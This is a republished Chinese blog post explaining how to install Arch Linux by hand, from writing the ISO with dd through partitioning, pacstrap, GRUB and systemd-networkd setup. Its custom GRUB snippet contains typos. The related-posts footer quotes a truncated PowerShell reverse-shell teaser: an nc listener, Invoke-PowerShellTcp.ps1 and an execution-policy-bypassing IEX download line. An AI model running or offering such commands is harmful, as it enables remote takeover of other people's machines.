linux_arch

由于以前新手开始接触的是ubuntu,然后通过ubuntu又开始了解centos,这俩系统基本是稳定版本可以用作服务器,但是centos的还是居多,一来比较接近redhat;但是这俩系统基本安装好了之后可以快速搭建服务,侧重去熟悉服务配置。

如果想要对系统进行自定义或者了解系统管理的话还是比较推荐arch,新手的话安装就比较麻烦,下来介绍下安装arch

1.首先下载安装程序,基本上是一个arch的系统,类使用initramfs,但是自带安装程序;(没有安装提示和步骤,需要手动安装)

下载之后如果是虚拟机的话vmware 直接就可以安装跑起来;物理机的话需要用dd 刻录到u盘:dd if=archlinux-2022.02.01-x86_64.iso of=/dev/sda (这里写你自己的盘),

下载地址https://archlinux.org/download/ 然后选 国内的镜像源 比较快

接下来就是u盘引导了(U盘也不用分区啥的 如果你怕浪费资源你自己分区也许,自己折腾)

2.系统加载好了 此时你需要检查 是否有网络链接 ip addr

| _____给要安装的硬盘分区 fdisk /dev/sda (一般3个分区,/boot,/,/swap)

|_____需要挂载 /分区,boot, swap;

mount /dev/sda1 /mnt (mnt当根目录,),

cd /mnt 创建 boot , mount /dev/sda2 /boot;

swapon /dev/sda3

|_____ 现在可以安装系统文件到 mnt

pacstrap /mnt base linux linux-firmware

|_____好了 系统安装完毕 arch-chroot /mnt

下载启动程序:grub

pacman -S grub

修改 一些参数 参考官网文档

grub-install –boot-directory=boot /dev/sda

grub-mkconfig -o /boot/grub/grub.cfg

如果 需要自己创建

set timeout=5

menuentry “arch”{

root=(hd0,msdos2)

linux /vmlinux rw root=/dev/sda1

initrf /initd.img

boot.cfg根据环境下的分区自己更改

reboot 启动就可以了

官网教程https://wiki.archlinux.org/title/Installation_guide 教程有点杂乱,基本对于新手来说不适应

+===========================================================================================================================+

系统正常启动后 才开始是没有网络的 虽然基于systemd 但是大多数 基本启动没有开启

链接网络需要开启 自带的 systemd-networkd: systemctl start systemd-networkd

创建 /etc/systemd/network/ensp1.network (类似与ubuntu的 network文件)

具体配置

/etc/systemd/network/20-wired.network
[Match]
Name=enp1s0

[Network]
Address=10.1.10.9/24
Gateway=10.1.10.1
DNS=10.1.10.1这个贴的官网的自己去修改反正自己都是动手配置的,参考文档补充一句没有vi,vim 才开始需要 自己用ip addr add IP地址 dev 网卡                                ip route add default via 网关地址                    sed -i '$a nameserver 114.114.114.114' /etc/resolv.conf

现在可以pacman -S vim了 之后 改IP地址配置文件 设置为自启动

以上程序和文件修改可以在安装环境下 chroot到系统操作,不用重启系统之后麻烦的操作

Original: https://www.cnblogs.com/isFinite-rs/p/15953048.html
Author: caibird_bg
Title: linux_arch

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/609675/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Mysql数据库语言学习的路线

    对于我们数据库的学习,不管是测试人员还是开发人员以及我们的DBA来说重点都是SQL;但是我们的SQL可以分多少类型,学习重点又是在哪里呢,本文仅仅针对测试人员来展开说明: SQL:…

    Linux 2023年6月14日
    077
  • Linux快速安装流量监控工具(实用版)

    前言: Linux流量监控工具,在此我推荐两种分别为: 1、nload(推荐)因为个人看着舒服点😂 2、iftop 你可以选择上面两种中的任何一种。下面是这两个版本的简介和安装教程…

    Linux 2023年5月27日
    078
  • FTP文件服务的安装与部署

    FTP(文件传输协议)概念 FTP基于C/S模式,FTP客户端与服务器端有两种传输模式,分别是FTP主动模式、FTP被动模式,主被动模式均是以FTP服务器端为参照。企业实际环境中,…

    Linux 2023年6月7日
    080
  • python截取字符串(字符串切片)

    python中使用 []来截取字符串,语法: 字符串[起始&#…

    Linux 2023年6月6日
    0117
  • Redis中使用redis-cli及密码登录

    使用redis-cli登录后如果Redis中设置了密码那么输入密码可能会出现: NOAUTH Authentication required的错。 这个时候可以输入:auth pa…

    Linux 2023年5月28日
    083
  • Vue 3-150行代码实现新国标红绿灯效果案例

    昨天刷视频,都是关于新国标红绿灯的,看大家议论纷纷,下班就用150行代码通过Vue组件实践红绿模拟演示,视频也跟大家展示过了。今天接着更新图文版本,大家跟着优雅哥通过该案例实操模拟…

    Linux 2023年6月7日
    076
  • Redis的发布订阅及.NET客户端实现

    序言 发布订阅在设计模式中也可以说是观察者模式,针对这个模式是处理对象间一对多的依赖关系的,当一个对象发生变化,其它依赖他的对象都要得到通知并更新。 然而它也有自己的缺点,就是当主…

    Linux 2023年5月28日
    0104
  • 操作系统实战45讲 -04 业界成熟的内核架构长什么样

    Linux 系统性能稳定且开源。在很多公司企业网络中被当作服务器来使用,这是 Linux 的一大亮点,也是它得以壮大的关键。 上图中大致分为五大重要组件,每个组件又分成许多模块从上…

    Linux 2023年6月7日
    0104
  • 面试复盘(1)

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    093
  • linux配置密钥登录

    一、前言: ssh远程登录密码认证的方式有三种,password、Keyboard Interactive、Public Key前面两种方式就是密码认证,含义都是一样大同小异。第三…

    Linux 2023年6月8日
    073
  • vert.x-快速入门

    vert.x是Eclipse软件基金会顶级java开源项目之一,它基于netty的、运行在jvm之上的、支持多种编程语言的高性能异步、非阻塞、响应式全栈java web框架。它在t…

    Linux 2023年6月8日
    097
  • JVM 运行时数据区 堆和方法区

    2、运行时数据区 哔哩哔哩 尚硅谷视频 宋红康老师 2.5、堆 堆的核心概述 一个JVM实例只存在一个堆内存,堆也是Java管理内存的核心区域 Java 堆区在JVM启动的时候即被…

    Linux 2023年6月7日
    0108
  • 特殊进制

    //0xaaaaaaaa = 10101010101010101010101010101010 (偶数位为1,奇数位为0) //0x55555555 = 1010101010101…

    Linux 2023年6月13日
    090
  • lvs

    1.lvs简介 2.结构体系 3.lvs工作模式及原理 4.配置lvs 4.1 部署lvs-nat模式的httpd负载集群—http协议 4.2 部署lvs-dr模式的…

    Linux 2023年6月13日
    077
  • Linux i3 用户手册(简要)

    i3 用户手册 与(mod一起使用的键 一般为Win键或为Alt键, 可以和与 Shift+\)mod 一起使用 按键参考图 红色键是您需要按下的修饰符(默认情况下),蓝色键是您的…

    Linux 2023年6月7日
    073
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    087
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球